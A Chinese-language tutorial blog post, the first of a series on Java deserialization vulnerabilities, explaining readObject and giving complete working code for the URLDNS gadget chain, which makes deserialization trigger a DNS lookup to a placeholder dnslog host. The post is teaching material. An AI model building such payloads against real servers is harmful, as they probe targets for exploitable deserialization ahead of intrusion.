Java 反序列化漏洞深度解析(一):从URLDNS到真正的DNS探测

文章目录

    • 一、什么是序列化与反序列化?
      • [1.1 基本概念](#1.1 基本概念)
      • [1.2 为什么需要序列化?](#1.2 为什么需要序列化?)
      • [1.3 Java 中的实现](#1.3 Java 中的实现)
      • [1.4 Serializable 接口](#1.4 Serializable 接口)
    • [二、Java 序列化的"魔法方法"](#二、Java 序列化的"魔法方法")
      • [2.1 什么是魔法方法?](#2.1 什么是魔法方法?)
      • [2.2 readObject() 的自动调用](#2.2 readObject() 的自动调用)
    • [三、URLDNS:经典的 DNS 探测技术](#三、URLDNS:经典的 DNS 探测技术)
    • 四、常见的错误理解(以及为什么错了)
      • [4.1 错误的代码示例](#4.1 错误的代码示例)
      • [4.2 错误的执行链(构造阶段)](#4.2 错误的执行链(构造阶段))
      • [4.3 错误的原因分析](#4.3 错误的原因分析)
      • [4.4 真相是什么?](#4.4 真相是什么?)
    • [五、正确的 URLDNS 实现](#五、正确的 URLDNS 实现)
      • [5.1 完整代码](#5.1 完整代码)
      • [5.2 核心原理](#5.2 核心原理)
      • [5.3 编译运行](#5.3 编译运行)
      • [5.4 运行结果](#5.4 运行结果)
    • 六、总结
      • [6.1 核心要点](#6.1 核心要点)
      • [6.2 下一篇预告](#6.2 下一篇预告)
    • 附录:术语表

系列导读:本文是 Java 反序列化漏洞系列文章的第一篇,重点讲解序列化基础原理、URLDNS 的局限性,以及如何在反序列化时真正触发 DNS 探测。第二篇将深入 RCE 漏洞利用与防御策略。

仓库地址:https://gitcode.com/lcreek/Security->DeserializationVuln


一、什么是序列化与反序列化?

1.1 基本概念

序列化(Serialization):将 Java 对象转换成字节流的过程。

反序列化(Deserialization):将字节流还原成 Java 对象的过程。

1.2 为什么需要序列化?

想象你要把一个快递寄给朋友:

  • 序列化 = 把物品打包成包裹(对象 → 字节流)
  • 网络传输 = 快递运输(字节流通过网络发送)
  • 反序列化 = 朋友拆开包裹(字节流 → 对象)

1.3 Java 中的实现

java 复制代码
// 序列化:对象 → 文件
Object obj = new HashMap();
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("data.ser"));
oos.writeObject(obj);  // 写入文件

// 反序列化:文件 → 对象
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("data.ser"));
Object obj = ois.readObject();  // 读取并还原对象

1.4 Serializable 接口

要让一个类可以被序列化,必须实现 Serializable 接口:

java 复制代码
public class User implements Serializable {
    private String name;
    private int age;
}

Serializable 是一个标记接口,里面没有任何方法。它只是告诉 JVM:"这个类的对象可以被序列化"。


二、Java 序列化的"魔法方法"

2.1 什么是魔法方法?

Java 序列化机制有一些特殊的方法,会在序列化/反序列化时自动调用,无需任何人显式调用。

方法 触发时机 危险等级
readObject() 反序列化对象时 🔴 高
readResolve() 反序列化完成后 🔴 高
writeObject() 序列化对象时 🟡 中

重点:这些方法不需要任何人显式调用,JVM 会自动执行!

2.2 readObject() 的自动调用

java 复制代码
// 目标服务器代码
ObjectInputStream ois = new ObjectInputStream(inputStream);
Object obj = ois.readObject();  // ← 只需这一行!

JVM 内部流程:

复制代码
1. ois.readObject() 读取序列化数据
2. 发现数据中包含 MyClass 对象
3. 自动调用 MyClass.readObject()
4. readObject() 中的代码执行

关键 :如果攻击者能在 readObject() 中写入恶意代码,就能在反序列化时自动执行!


三、URLDNS:经典的 DNS 探测技术

关键特点

  • 使用 URL 作为 HashMap 的 key
  • 反序列化时会触发 DNS 查询
  • 不需要第三方依赖

四、常见的错误理解(以及为什么错了)

在实现 URLDNS 时,很多人会犯一个经典的错误,让我们来分析一下:

4.1 错误的代码示例

java 复制代码
import java.io.*;
import java.net.URL;
import java.util.HashMap;

public class URLDns {
    public static void main(String[] args) throws Exception {
        HashMap<URL, Integer> map = new HashMap<>();
        URL url = new URL("http://xxx.dnslog.cn");
        map.put(url, 1);  // ← DNS 在这里触发!

        // 序列化
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("dns.ser"));
        oos.writeObject(map);

        // 反序列化
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("dns.ser"));
        ois.readObject();  // ← 这里不会触发 DNS!
    }
}

4.2 错误的执行链(构造阶段)

复制代码
map.put(url, 1)
    ↓
HashMap.hash(key)  // 计算 key 的哈希值
    ↓
URL.hashCode()     // URL 的 hashCode 方法
    ↓
URLStreamHandler.hashCode()
    ↓
getHostAddress()   // 获取主机地址
    ↓
InetAddress.getByName("xxx.dnslog.cn")  // ← DNS 查询!

4.3 错误的原因分析

这个问题曾经被错误地解释为:

问题:DNS 查询在构造 Payload 时就触发了,而不是在目标服务器反序列化时。

原因:URL.hashCode 是 transient 字段。

java 复制代码
// URL.java 源码(错误理解)
public class URL implements Serializable {
 private transient int hashCode = -1;  // ← 误以为是 transient!
}

错误的执行流程

复制代码
===== 攻击者机器 =====
[1] 创建 URL("http://xxx.dnslog.cn")
[2] map.put(url, 1)
 → hash(url) → url.hashCode()
 →  DNS 查询触发!(构造阶段)

[3] 序列化 map
 → 误以为 url.hashCode 是 transient,不会被保存

===== 目标服务器 =====
[4] 反序列化 map
 → 误以为 url.hashCode = 0(transient int 的默认值)
 → url.hashCode() 检查:if (hashCode != -1) return hashCode;
 → 0 != -1,直接返回 0
 → 不会触发 DNS!

4.4 真相是什么?

实际上,上面的解释有两个关键错误

  1. 错误 1hashCode 字段本身不是 transient
  2. 错误 2 :反序列化后 hashCode 不会变成 0,而是变成 put() 时的缓存值(如 -1940799612

让我们用真实的测试来验证:

测试结果

  • map.put(url, 1) → DNS 在构造阶段触发
  • 反序列化时 url.hashCode = 缓存值(非 -1)→ 不会触发 DNS

真正的原因

  • hashCode 不是 transient,会被正常保存和恢复
  • put()url.hashCode 已经是缓存值(非 -1
  • 序列化时保存这个缓存值,反序列化后也恢复这个缓存值
  • 反序列化时调用 url.hashCode() → 直接返回缓存值 → 不会触发 DNS

这就是为什么我们需要:

  1. 自定义 SilentHandler → 阻止构造阶段的 DNS
  2. 反射设置 hashCode = -1 → 确保序列化时保存 -1

五、正确的 URLDNS 实现

5.1 完整代码

核心文件 :[DnsLogExploit.java]

java 复制代码
import java.io.*;
import java.lang.reflect.Field;
import java.net.*;
import java.util.HashMap;
import java.util.Map;

public class DnsLogExploit {

    public static void main(String[] args) throws Exception {
        String dnsHost = "http://xxx.dnslog.cn";
        String payloadFile = "dnslog_payload.ser";

        // 步骤 1:构造并序列化(不会触发 DNS)
        Map<URL, String> payload = createPayload(dnsHost);
        serializePayload(payload, payloadFile);

        // 步骤 2:反序列化(触发 DNS)
        deserializePayload(payloadFile);
    }

    private static Map<URL, String> createPayload(String dnsHost) throws Exception {
        URLStreamHandler handler = new SilentHandler();
        URL url = new URL(null, dnsHost, handler);

        Map<URL, String> map = new HashMap<>();
        map.put(url, "probe");

        // 反射设置 hashCode 为 -1,确保反序列化时重新计算触发 DNS
        Field field = URL.class.getDeclaredField("hashCode");
        field.setAccessible(true);
        field.set(url, -1);

        return map;
    }

    private static void serializePayload(Object obj, String filename) throws IOException {
        try (ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(filename))) {
            oos.writeObject(obj);
        }
    }

    private static void deserializePayload(String filename) throws IOException, ClassNotFoundException {
        try (ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename))) {
            ois.readObject();  // ← 触发 DNS 查询!
        }
    }
}

// 静默 URLStreamHandler - 阻止构造 Payload 时触发 DNS
class SilentHandler extends URLStreamHandler {
    @Override
    protected URLConnection openConnection(URL u) {
        return null;
    }

    @Override
    protected synchronized InetAddress getHostAddress(URL u) {
        return null;
    }
}

5.2 核心原理

复制代码
===== 构造 Payload(不会触发 DNS)=====
[1] new URL(null, dnsHost, handler)
    → 使用自定义 SilentHandler

[2] map.put(url, "probe")
    → hash(url) → url.hashCode()
    → SilentHandler.getHostAddress() 返回 null
    → DNS 不触发!
    → url.hashCode = -1940799612(缓存值)

[3] 反射设置 url.hashCode = -1 (关键!)
    → 确保序列化时保存的值是 -1

[4] 序列化 map
    → URL.writeObject 调用 defaultWriteObject(),正常保存 hashCode = -1(因为 hashCode 不是 transient)
    → handler 是 transient,不会被保存
    → hostAddress 是 transient,不会被保存

===== 反序列化(触发 DNS)=====
[5] ois.readObject()
    → HashMap.readObject() 重建 HashMap
    → URL.readObject 调用 defaultReadObject(),正常恢复 hashCode = -1
    → handler = null(transient 恢复为对象引用默认值)
    → hostAddress = null(transient 恢复为对象引用默认值)
    → 重新计算 key 的 hashCode
    → url.hashCode = -1,需要重新计算
    → 使用默认 URLStreamHandler
    → 默认 getHostAddress() 调用 InetAddress.getByName()
    → DNS 查询触发!

为什么必须设置 hashCode = -1?

  • URL 类的 writeObject/readObject 只是调用 defaultWriteObject()/defaultReadObject()
  • hashCode 字段不是 transient,会被正常保存和恢复
  • 如果不设置回 -1,反序列化后 hashCode 仍然是缓存值(如 -1940799612
  • 调用 url.hashCode() 会直接返回缓存值,不会触发 DNS

完整调用链(反序列化时)

复制代码
ObjectInputStream.readObject()
    ↓
HashMap.readObject()
    ↓
HashMap.putVal()
    ↓
HashMap.hash(key)  // 计算 key 的哈希值
    ↓
URL.hashCode()     // URL 的 hashCode 方法
    ↓
URLStreamHandler.hashCode(URL)
    ↓
URLStreamHandler.getHostAddress(URL)  // 获取主机地址
    ↓
InetAddress.getByName("xxx.dnslog.cn")  // ← DNS 查询!

5.3 编译运行

powershell 复制代码
# 进入项目目录
cd d:\Programs\Security\DeserializationVuln

# 编译
.\build.ps1

# 运行 DNS 探测(需要 --add-opens 允许反射访问)
java --add-opens java.base/java.net=ALL-UNNAMED -cp out DnsLogExploit

5.4 运行结果

复制代码
=== DNSLog 反序列化利用链 ===

[1] 构造并序列化 Payload...
    ✓ 序列化完成

[2] 反序列化(触发 DNS 查询)...
    ✓ DNS 查询触发!

=== 演示完成 ===

关键观察:DNS 查询只在反序列化时触发!


六、总结

6.1 核心要点

  1. 魔法方法readObject() 等会在反序列化时自动调用
  2. 正确的 URLDNS 实现
    • 使用自定义 SilentHandler 重写 getHostAddress() 阻止构造时 DNS
    • 反射设置 hashCode-1 确保反序列化时重新计算
    • handlertransient 字段,反序列化时为 null,使用默认 handler 触发 DNS
  3. JVM 模块限制 :需要 --add-opens java.base/java.net=ALL-UNNAMED 允许反射访问

6.2 下一篇预告

在第二篇文章中,我们将:

  • 从 DNS 探测升级到 RCE(远程代码执行)
  • 分析真实的反序列化漏洞案例(WebLogic、Jenkins、Shiro)
  • 深入 Commons Collections Gadget Chain
  • 学习如何防御反序列化漏洞

附录:术语表

术语 解释
序列化 将对象转换成字节流
反序列化 将字节流还原成对象
Payload 攻击者构造的恶意数据
Gadget 可被利用的类或方法
Gadget Chain 多个 Gadget 组合成的利用链
RCE Remote Code Execution(远程代码执行)
transient Java 关键字,标记不被序列化的字段
相关推荐
杰克尼1 小时前
天机学堂复习总结(day03-day04)
java·开发语言·redis·elasticsearch·spring cloud
x***r1512 小时前
jdk-11.0.16.1_windows使用步骤详解(附JDK 11环境变量配置与验证教程)
java·开发语言·windows
弹简特2 小时前
【Java项目-轻聊】01-项目演示+项目介绍+准备工作+项目源码
java
luck_bor3 小时前
File类&递归作业
java·开发语言
武子康3 小时前
Java-07 深入浅出 MyBatis数据库一对多关系模型实战:表结构设计与查询实现
java·后端
REDcker5 小时前
Linux OverlayFS详解
java·linux·运维
Royzst5 小时前
xml知识点
java·服务器·前端
鱼鳞_6 小时前
苍穹外卖-Day08(缓存套餐)
java·redis·缓存
过期动态6 小时前
【LeetCode 热题 100】移动零
java·数据结构·算法·leetcode·职场和发展·rabbitmq